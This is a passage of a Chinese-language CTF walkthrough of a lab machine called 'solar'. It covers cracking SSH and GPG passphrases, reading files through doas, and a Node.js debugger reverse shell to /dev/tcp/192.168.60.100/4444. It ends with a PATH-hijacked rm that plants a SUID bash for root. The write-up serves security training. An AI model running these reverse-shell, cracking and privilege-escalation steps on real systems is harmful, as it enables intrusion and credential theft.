1 2 3 4 5 6 7 8 9 10 c25e7b68dd71d1ca9d8f86da2df12035 ----------------------------------------- -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABACAiuY2y KncKfFktSk6euqAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIE8G8M95Y8BUlMqb Tsv9CKcq8mefKwEnXrGTswVfh0xoAAAAkIJIgfgFcAYwUAewcKCiH1cqgQJbCzjAwXYAxB u9G7Pr0WVwHcGPoksvuYrPodhd7dzkh1qYbNJvVkxgY1b99U8iANbgDjln+V48BWPY5/OG R2ozwP2jgHFCyBdwqMr2zVnZbHA05br5wQoKWSEzmSC1N16q/BGuOIUr3lDKPq4fJLdb7o I2a07w0+3R/Wlbcw== -----END OPENSSH PRIVATE KEY-----
如果你不知道私钥文件名的话,可以先读authorized_keys
不过可惜的是用户lenam
的私钥加密了
并且爆了很久都出不来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ❯ vim id_rsa ❯ ssh lenam@$ip -i id_rsa The authenticity of host '192.168.60.196 (192.168.60.196)' can't be established. ED25519 key fingerprint is SHA256:kTjXocnCwQwlJcqy1zaGjV9iWw+8eykL5i8L2hzvYe4. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added ' 192.168.60.196' (ED25519) to the list of known hosts. Enter passphrase for key ' id_rsa': ❯ ssh2john id_rsa >hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 4 OpenMP threads Press ' q' or Ctrl-C to abort, almost any other key for status ………………………………
lenam
用户提权尝试枚举lenam
用户家目录下的文件
1 (remote) www-data@solar:/home/lenam$ doas -u lenam /usr/bin/mosquitto_pub -L mqtt://5up3r:[email protected] :1883/readfile -f /home/lenam/.nanorc
从中得知nano
编辑器设置了history
但nano的history文件在哪呢
-f
参数如果不是文件是目录的话会提示,没法读
1 2 3 4 (remote) www-data@solar:/home/lenam$ doas -u lenam /usr/bin/mosquitto_pub -L mqtt://5up3r:[email protected] :1883/readfile -f /home/lenam/.gnupg Error: File must be less than 268435455 bytes. Error loading input file "/home/lenam/.gnupg" .
在一个字典中找到了nano历史的路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ❯ wget https://github.com/bhavesh-pardhi/Wordlist-Hub/raw/refs/heads/main/WordLists/dotfiles.txt --2025-02-20 23:22:28-- https://github.com/bhavesh-pardhi/Wordlist-Hub/raw/refs/heads/main/WordLists/dotfiles.txt Resolving github.com (github.com)... 20.205.243.166 Connecting to github.com (github.com)|20.205.243.166|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/bhavesh-pardhi/Wordlist-Hub/refs/heads/main/WordLists/dotfiles.txt [following] --2025-02-20 23:22:31-- https://raw.githubusercontent.com/bhavesh-pardhi/Wordlist-Hub/refs/heads/main/WordLists/dotfiles.txt Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.108.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 18769 (18K) [text/plain] Saving to: ‘dotfiles.txt’ dotfiles.txt 100%[===============>] 18.33K --.-KB/s in 0.04s 2025-02-20 23:22:31 (456 KB/s) - ‘dotfiles.txt’ saved [18769/18769] ❯ grep -Pnir 'nano' dotfiles.txt 760:.nano_history 761:.nano/ 762:.nano/search_history
不过这个文件并不直接在家目录下
我查看了本机的nano history
原来是放在share
文件夹中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ❯ ls -al ../.local/share total 72 drwx------ 17 Pepster Pepster 4096 Feb 19 22:00 . drwxr-xr-x 7 Pepster Pepster 4096 Jan 2 20:57 .. drwxr-xr-x 2 Pepster Pepster 4096 Jan 1 15:08 applications drwxr-xr-x 4 Pepster Pepster 4096 Nov 15 12:45 gem drwx------ 2 Pepster Pepster 4096 Jan 17 16:23 gvfs-metadata drwx------ 3 Pepster Pepster 4096 Nov 20 17:16 hashcat drwxr-xr-x 2 Pepster Pepster 4096 Nov 14 15:33 icc drwx------ 2 Pepster Pepster 4096 Jan 1 15:09 keyrings drwxr-xr-x 3 Pepster Pepster 4096 Dec 4 20:08 man drwx------ 2 Pepster Pepster 4096 Dec 8 17:34 nano drwxr-xr-x 3 Pepster Pepster 4096 Nov 14 15:33 nautilus drwx------ 2 Pepster Pepster 4096 Dec 8 22:54 nvim drwxr-xr-x 5 Pepster Pepster 4096 Nov 20 19:14 pipx drwxr-xr-x 2 Pepster Pepster 4096 Dec 9 19:43 ranger -rw------- 1 Pepster Pepster 3406 Feb 19 22:00 recently-used.xbel drwxr-xr-x 4 Pepster Pepster 4096 Nov 25 15:18 sqlmap drwxr-xr-x 40 Pepster Pepster 4096 Feb 1 21:53 tldr drwx------ 2 Pepster Pepster 4096 Jan 7 21:50 xrdp
~/.local/share
这个目录是基于用户的配置和数据文件的标准位置,用于存储各种应用程序的数据和配置文件。
所以猜测正确路径应该就是~/.local/share/nano/search_history
没有报错,那文件就是存在的
1 (remote) www-data@solar:/home/lenam$ doas -u lenam /usr/bin/mosquitto_pub -L mqtt://5up3r:[email protected] :1883/readfile -f /home/lenam/.local/share/nano/search_history
得到私钥密码CzMO48xpwof8nvQ6JUhF
尝试连接一下
GPG密码爆破 有个note提示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ❯ ssh lenam@$ip -i id_rsa Enter passphrase for key 'id_rsa' : Linux solar 6.1.0-25-amd64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Oct 24 06:51:32 2024 from 192.168.1.116 lenam@solar:~$ cat note.txt You just have to remember the one that starts with love and ends with a number. 你只需要记住以爱开始并以数字结尾的那个。
你可以观察用户家目录下的文件结构,发现安装了Password Store
基于 GPG 的简单密码管理工具
1 2 3 4 5 6 7 lenam@solar:~$ pass Password Store ├── personal │ ├── private_id │ └── user └── work └── office
personal
:个人密码存储的目录。
private_id
:存储在 personal
目录中的一个文件,可能是你的私人标识(ID)信息。
user
:存储在 personal
目录中的另一个文件,可能是你的用户信息。
work
:工作相关密码存储的目录。
office
:存储在 work
目录中的一个文件,可能是与你工作相关的信息。
我们就需要获取其中的personal
中存储的密码
当我想要查看user
的密码会让你输入密钥
1 2 3 lenam@solar:~$ pass personal/user gpg: WARNING: unsafe permissions on homedir '/home/lenam/.gnupg' gpg: decryption failed: No secret key
gpg
给出个警告表明 /home/lenam/.gnupg
目录的权限设置不安全
这就导致我们可以读取GunPG
的密钥文件
在private-keys-v1.d
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 lenam@solar:~$ cd .gnupg/ lenam@solar:~/.gnupg$ tree . ├── gpg-agent.conf ├── openpgp-revocs.d │ └── E6DB2B029F01725397A555CD6CE6C909C038D50C.rev ├── private-keys-v1.d │ ├── 18DB29FBB15652340964CF0E1C710F34AA848ADD.key │ └── C622C75FED7EF077FDE1AB4D6A1F5D37E4896A95.key ├── pubring.kbx ├── pubring.kbx~ ├── random_seed ├── tofu.db └── trustdb.gpg 3 directories, 9 files
我们利用gpg列出私钥
1 2 3 4 5 6 7 8 9 10 lenam@solar:~/.gnupg$ gpg --list-secret-keys --with-keygrip gpg: WARNING: unsafe permissions on homedir '/home/lenam/.gnupg' /home/lenam/.gnupg/pubring.kbx ------------------------------ sec rsa3072 2024-08-29 [SC] E6DB2B029F01725397A555CD6CE6C909C038D50C Keygrip = 18DB29FBB15652340964CF0E1C710F34AA848ADD uid [ultimate] secret <[email protected] > ssb rsa3072 2024-08-29 [E] Keygrip = C622C75FED7EF077FDE1AB4D6A1F5D37E4896A95
sec
: 表示这是一个私钥(Secret key)。
rsa3072
: 密钥类型和长度,这里是 3072 位的 RSA 密钥。
2024-08-29
: 密钥的创建日期。
[SC]
: 密钥用途(S: 签名,C: 认证)。
E6DB2B029F01725397A555CD6CE6C909C038D50C
: 密钥的指纹。
Keygrip = 18DB29FBB15652340964CF0E1C710F34AA848ADD
: 私钥的 Keygrip。
ssb
: 表示这是一个子私钥(Subkey)。
[E]
: 子密钥用途(E: 加密)。
Keygrip = C622C75FED7EF077FDE1AB4D6A1F5D37E4896A95
: 子密钥的 Keygrip
从中得知私钥类型是RSA
并且是3072
位的,爆破难度非常大
回顾上文的提示中,让我们找到以love
开头并以数字结尾的密码
尝试利用scp
将.password-store
.gnupg
下载到本地
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ❯ scp -ri id_rsa lenam@$ip :~/.password-store . Enter passphrase for key 'id_rsa' : .gpg-id 100% 7 1.2KB/s 00:00 user.gpg 100% 471 117.4KB/s 00:00 private_id.gpg 100% 471 144.4KB/s 00:00 office.gpg 100% 463 88.3KB/s 00:00 ❯ scp -ri id_rsa lenam@$ip :~/.gnupg . Enter passphrase for key 'id_rsa' : tofu.db 100% 48KB 12.0MB/s 00:00 pubring.kbx 100% 1954 1.7MB/s 00:00 random_seed 100% 600 309.8KB/s 00:00 gpg-agent.conf 100% 36 31.7KB/s 00:00 trustdb.gpg 100% 1280 1.2MB/s 00:00 .#lk0x000055afe4c8a3f0.solar.309336 100% 17 13.3KB/s 00:00 E6DB2B029F01725397A555CD6CE6C909C038D50C.rev 100% 1626 1.3MB/s 00:00 pubring.kbx~ 100% 1960 1.6MB/s 00:00 .#lk0x0000559a52e75c50.solar.134014 100% 17 15.2KB/s 00:00 C622C75FED7EF077FDE1AB4D6A1F5D37E4896A95.key 100% 3105 3.8MB/s 00:00 18DB29FBB15652340964CF0E1C710F34AA848ADD.key 100% 3105 4.2MB/s 00:00
我们筛选rockyou
中符合条件的密码
1 2 3 ❯ grep -P '^love.*[0-9]$' /usr/share/wordlists/rockyou.txt>pass.txt ❯ wc -l pass.txt 22495 pass.txt
如果没装gnupg
装一下
注意靶机中的私钥文件也要拷贝到本机家目录下的~/.gnupg
中才能解密,亦或者你可以手动导入私钥才可以解密文件
利用gpg参数实现批量解密
得到密码loverboy1
1 2 3 4 5 ❯ sudo apt install gnupg [sudo ] password for Pepster: ❯ for i in $(cat pass.txt);do gpg --batch --yes --passphrase $i --pinentry-mode loopback --decrypt .password-store/work/office.gpg 2>/dev/null&&echo "found pass $i " ;done d1NpIh1bCKMx found pass loverboy1
分别解密passstore
中的密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ❯ gpg --passphrase "loverboy1" --pinentry-mode loopback --decrypt .password-store/work/office.gpg gpg: encrypted with 3072-bit RSA key, ID DC6D80A4CB2AE146, created 2024-08-29 "secret <[email protected] >" d1NpIh1bCKMx ❯ gpg --passphrase "loverboy1" --pinentry-mode loopback --decrypt .password-store/personal/user.gpg gpg: encrypted with 3072-bit RSA key, ID DC6D80A4CB2AE146, created 2024-08-29 "secret <[email protected] >" qiFQI7buDp7zIQnAymEY ❯ gpg --passphrase "loverboy1" --pinentry-mode loopback --decrypt .password-store/personal/private_id.gpg gpg: encrypted with 3072-bit RSA key, ID DC6D80A4CB2AE146, created 2024-08-29 "secret <[email protected] >" CzMO48xpwof8nvQ6JUhF
julian
用户提权Crontab定时任务 拿到lenam
的密码后即可执行doas
以julian
的身份执行kill
不过kill
是杀死进程的作用
那我们看一下julian
开了哪些进程吧
除了一个chrome
浏览器的进程就只剩下一个node
服务
1 2 3 lenam@solar:~$ ps aux|grep julian julian 30118 2.7 3.9 1054324 79800 ? Ssl 21:19 0:01 /home/julian/.nvm/versions/node/v22.7.0/bin/node /home/julian/.local/bin/demoadm/login.js julian 30129 10.1 9.0 34124880 182692 ? Ssl 21:19 0:04 /home/julian/.cache/puppeteer/chrome/linux-126.0.6478.126/chrome-linux64/chrome --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-extensions --disable-hang-monitor --disable-infobars --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-search-engine-choice-screen --disable-sync --enable-automation --export-tagged-pdf --generate-pdf-document-outline --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --disable-features=Translate,AcceptCHFrame,MediaRouter,OptimizationHints,ProcessPerSiteUpToMainFrameThreshold,IsolateSandboxedIframes --enable-features=PdfOopif --headless=new --hide-scrollbars --mute-audio about:blank --ignore-certificate-errors --remote-debugging-port=47000 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-mS2BEV
传个pspy上去监测一下进程
发现node
会隔两分钟运行一次julian
用户家目录下的/.local/bin/demoadm/login.js
1 2 3 4 5 6 2025/02/20 22:52:10 CMD: UID=1001 PID=52433 | /home/julian/.nvm/versions/node/v22.7.0/bin/node /home/julian/.local/bin/demoadm/login.js 2025/02/20 22:52:10 CMD: UID=1001 PID=52435 | /home/julian/.cache/puppeteer/chrome/linux-126.0.6478.126/chrome-linux64/chrome_crashpad_handler --monitor-self --monitor-self-annotation=ptype=crashpad-handler --database=/home/julian/.config/google-chrome-for-testing/Crash Reports --annotation=lsb-release=Debian GNU/Linux 12 (bookworm) --annotation=plat=Linux --annotation=prod=Chrome_Linux --annotation=ver=126.0.6478.126 --initial-client-fd=5 --shared-client-connection ----------------------省略------------------------ 2025/02/20 22:54:13 CMD: UID=1001 PID=52924 | /home/julian/.nvm/versions/node/v22.7.0/bin/node /home/julian/.local/bin/demoadm/login.js 2025/02/20 22:54:13 CMD: UID=1001 PID=52926 | /home/julian/.cache/puppeteer/chrome/linux-126.0.6478.126/chrome-linux64/chrome --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-extensions --disable-hang-monitor --disable-infobars --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-search-engine-choice-screen --disable-sync --enable-automation --export-tagged-pdf --generate-pdf-document-outline --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --disable-features=Translate,AcceptCHFrame,MediaRouter,OptimizationHints,ProcessPerSiteUpToMainFrameThreshold,IsolateSandboxedIframes --enable-features=PdfOopif --headless=new --hide-scrollbars --mute-audio about:blank --ignore-certificate-errors --remote-debugging-port=47000 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-V63j4F
Node.js调试利用 通过查询node.js
的用法发现node.js
提供了一种机制,可以通过发送 SIGUSR1
信号来启动或连接到调试器
信号事件 | Node.js API 文档
Node 调试工具入门教程 - 阮一峰的网络日志
利用kill向node
进程发送SIGUSR1
,由julian
用户开启了node调试服务
我们再通过node
连接本地的调试接口即可
但是我们只有两分钟的时间来在debug
中执行命令,否则node.js
的调试会话就会断开
出现Cannot find context with specified id
就要重新执行了
1 2 3 4 5 6 7 8 9 10 11 12 lenam@solar:~$ doas -u julian /bin/kill -s SIGUSR1 $(pgrep "node" )&&/home/julian/.nvm/versions/node/v22.7.0/bin/node inspect localhost:9229 doas (lenam@solar) password: connecting to localhost:9229 ... ok debug> exec ("process.mainModule.require('child_process').exec('bash -c \"/bin/bash -i >& /dev/tcp/192.168.60.100/4444 0>&1\"')" ) { _events: Object, _eventsCount: 2, _maxListeners: 'undefined' , _closesNeeded: 3, _closesGot: 0, ... } debug>
图片隐写 同时kali中监听端口,家目录中有个my-pass.jpg
图片
下载到本地
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ❯ pwncat-cs -lp 4444 [12:27:06] Welcome to pwncat 🐈! __main__.py:164 [12:46:49] received connection from 192.168.60.196:54224 bind.py:84 [12:47:09] 192.168.60.196:54224: registered new host w/ db manager.py:957 (local ) pwncat$ (remote) julian@solar:/$ cd ~ (remote) julian@solar:/home/julian$ ls -al total 436 drwxr-xr-x 9 julian julian 4096 Sep 4 21:36 . drwxr-xr-x 4 root root 4096 Aug 28 19:01 .. lrwxrwxrwx 1 root root 9 Aug 28 19:04 .bash_history -> /dev/null -rw-rw---- 1 julian julian 220 Apr 23 2023 .bash_logout -rw-rw---- 1 julian julian 3526 Apr 23 2023 .bashrc drwxrwx--x 4 julian julian 4096 Aug 28 19:27 .cache drwxrwx--x 3 julian julian 4096 Aug 28 19:16 .config drwxrwx--x 3 julian julian 4096 Sep 4 11:35 .gnupg -rw------- 1 julian julian 20 Sep 4 11:05 .lesshst drwxrwx--x 4 julian julian 4096 Sep 1 18:34 .local -rw------- 1 julian julian 386348 Sep 4 12:22 my-pass.jpg lrwxrwxrwx 1 root root 9 Aug 28 19:05 .mysql_history -> /dev/null -rw-rw---- 1 julian julian 16 Aug 29 19:45 .node_repl_history drwxrwx--x 3 julian julian 4096 Aug 28 19:16 .npm drwxrwx--x 5 julian julian 4096 Aug 28 19:15 .nvm drwxrwx--x 3 julian julian 4096 Aug 28 19:16 .pki -rw-rw---- 1 julian julian 904 Sep 4 18:11 .profile (remote) julian@solar:/home/julian$ (local ) pwncat$ download my-pass.jpg my-pass.jpg ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 386.3/386.3 KB • ? • 0:00:00 [12:49:31] downloaded 386.35KiB in 0.13 seconds
猜测含有图片隐写,解密得出密文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ❯ stegcracker my-pass.jpg StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker) Copyright (c) 2025 - Luke Paris (Paradoxis) StegCracker has been retired following the release of StegSeek, which will blast through the rockyou.txt wordlist within 1.9 second as opposed to StegCracker which takes ~5 hours. StegSeek can be found at: https://github.com/RickdeJager/stegseek No wordlist was specified, using default rockyou.txt wordlist. Counting lines in wordlist.. Attacking file 'my-pass.jpg' with wordlist '/usr/share/wordlists/rockyou.txt' .. Successfully cracked file with password: teresa Tried 659 passwords Your file has been written to: my-pass.jpg.out teresa ❯ cat my-pass.jpg.out Password programmed D'`r^9K=m54z8ywSeQcPq`M' ,+lZ(XhCC{@b~}<*)Lrq7utmrqji/mfN+ihgfe^F\"C_^]\[Tx;WPOTMqp3INGLKDhHA@d'CB;:9]=<;:3y76/S321q/.-,%Ij"' &}C{c!x>|^zyr8vuWmrqjoh.fkjchgf_^$\[ZY}W\UTx;WPOTSLp3INMLEJCg*@dDC%A@?8\}5Yzy1054-,P*)('&J$)(!~}C{zy~w=^zsxwpun4rqjih.leMiba`&^F\"CB^]Vzg
malbolge
解密越看越没头绪,有点像malbolge
语言 尝试一下
可以参考HackMyVM-find-Walkthrough | Pepster’Blog
得到密码tk8QaHUi3XaMLYoP1BpZ
Root提权 通过doas的配置文件得知,julian
可以设置环境变量后执行/usr/local/bin/backups
分析一下backups
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 (remote) julian@solar:/home/julian$ strings /usr/local/bin/backups /lib64/ld-linux-x86-64.so.2 y f}|PS dlclose strlen __ctype_b_loc __libc_start_main stderr fprintf dlsym dlopen __cxa_finalize dlerror __isoc99_sscanf fwrite libc.so.6 GLIBC_2.3 GLIBC_2.7 GLIBC_2.2.5 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable PTE1 u+UH %2hhx Usage: %s <database_name> Invalid database name. Ensure it contains only letters, numbers, and underscores, and is between 1 and 64 characters long. /var/www/sunfriends.nyx/database.sql.gz 05000b0b080a021c19471a06 Error loading library. 0a1b0c081d0c360a0604191b0c1a1a0c0d360b080a021c19 Error finding symbol. Backup completed successfully: %s ;*3$" GCC: (Debian 12.2.0-14) 12.2.0 Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry backups.c __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ dlerror@GLIBC_2.34 __libc_start_main@GLIBC_2.34 _ITM_deregisterTMCloneTable _edata _fini strlen@GLIBC_2.2.5 __data_start dlopen@GLIBC_2.34 fprintf@GLIBC_2.2.5 __gmon_start__ __dso_handle _IO_stdin_used __isoc99_sscanf@GLIBC_2.7 _end validate_db_name __bss_start main dlsym@GLIBC_2.34 fwrite@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable decode_and_xor dlclose@GLIBC_2.34 __cxa_finalize@GLIBC_2.2.5 _init __ctype_b_loc@GLIBC_2.3 stderr@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .got.plt .data .bss .comment
看样子是用于备份数据库
不过我们注意到在输入数据库路径后有两串十六进制字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 Usage: %s <database_name> 用法:%s <数据库名称> Invalid database name. Ensure it contains only letters, numbers, and underscores, and is between 1 and 64 characters long. 数据库名称无效。确保它只包含字母、数字和下划线,并且长度在1到64个字符之间。 /var/www/sunfriends.nyx/database.sql.gz 05000b0b080a021c19471a06 Error loading library. 加载库时出错。 0a1b0c081d0c360a0604191b0c1a1a0c0d360b080a021c19 Error finding symbol. 找不到符号。 Backup completed successfully: %s 备份成功完成:%s
尝试利用CyberChef
解码一下
得到第一个是个libbackup.so
第二个是create_compressed_backup
猜测你执行/usr/local/bin/backups
会调用libbackup.so
库
那么找一下库文件分析一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 (remote) julian@solar:/home/julian$ find / -name libbackup.so -type f 2>/dev/null /usr/lib/x86_64-linux-gnu/libbackup.so (remote) julian@solar:/home/julian$ strings /usr/lib/x86_64-linux-gnu/libbackup.so __gmon_start__ _ITM_deregisterTMCloneTable _ITM_registerTMCloneTable __cxa_finalize create_compressed_backup snprintf system stderr fprintf libc.so.6 GLIBC_2.2.5 u+UH /usr/bin/mysqldump --databases %s > /tmp/temp.sql && /usr/bin/gzip /tmp/temp.sql -c > %s && rm /tmp/temp.sql Error executing mysqldump and gzip. Exit code: %d ;*3$" GCC: (Debian 12.2.0-14) 12.2.0 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry libbackup.c __FRAME_END__ _fini __dso_handle _DYNAMIC __GNU_EH_FRAME_HDR __TMC_END__ _GLOBAL_OFFSET_TABLE_ _init _ITM_deregisterTMCloneTable system@GLIBC_2.2.5 snprintf@GLIBC_2.2.5 create_compressed_backup fprintf@GLIBC_2.2.5 __gmon_start__ _ITM_registerTMCloneTable __cxa_finalize@GLIBC_2.2.5 stderr@GLIBC_2.2.5 .symtab .strtab .shstrtab .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .got.plt .data .bss .comment
PATH劫持 发现会利用mysqldump
gzip
rm
执行命令
不过前面两个命令是利用绝对路径来执行的
只可以劫持rm
的PATH
1 /usr/bin/mysqldump --databases %s > /tmp/temp.sql && /usr/bin/gzip /tmp/temp.sql -c > %s && rm /tmp/temp.sql
但是你执行需要你输入数据库名字
1 2 3 (remote) julian@solar:/tmp$ doas -u root /usr/local/bin/backups doas (julian@solar) password: Usage: /usr/local/bin/backups <database_name>
这个时候就要用到最开始拿到的数据库文件了
筛选一下database
拿到名字solar_energy_db
1 2 ❯ strings database.sql|grep -i database -- Host: localhost Database: solar_energy_db
这时候我们在tmp目录下建一个rm
1 2 3 4 5 6 (remote) julian@solar:/tmp$ vi rm cp /bin/bash /tmp/sh&&chmod +s /tmp/sh(remote) julian@solar:/tmp$ chmod +x rm (remote) julian@solar:/tmp$ PATH=/tmp:$PATH (remote) julian@solar:/tmp$ echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
因为doas.conf
配置了setenv
所以当doas
执行命令的时候会为程序创建一个与当前PATH相同的环境
这样就拿到root shell了
1 2 3 4 5 6 7 8 (remote) julian@solar:/tmp$ doas -u root /usr/local/bin/backups solar_energy_db doas (julian@solar) password: Backup completed successfully: /var/www/sunfriends.nyx/database.sql.gz (remote) julian@solar:/tmp$ ls -al /tmp/sh -rwsr-sr-x 1 root root 1265648 Feb 21 00:48 /tmp/sh (remote) julian@solar:/tmp$ ./sh -p (remote) root@solar:/tmp# cat /root/root.txt 44d981ce629f2077103ed9dc70d635f5
后记 真不容易啊,终于拿到root了🥳
我算是完整的复现了一遍吧
总体来说知识点非常多,基本上都没遇见过,全新的知识点
对于XSS
的了解还是少了,GPG
密码爆破也是一个新接触的知识
还有Nodejs
的调试利用child_process
模块调用exec
执行命令
后续还涉及到反编译可执行文件之类的操作,那就更不用谈了
实打实自己做,是完全出不来的,估计到XSS那就卡住了,连user都拿不到
感谢Lenam
作者为我们带来这么精彩的靶机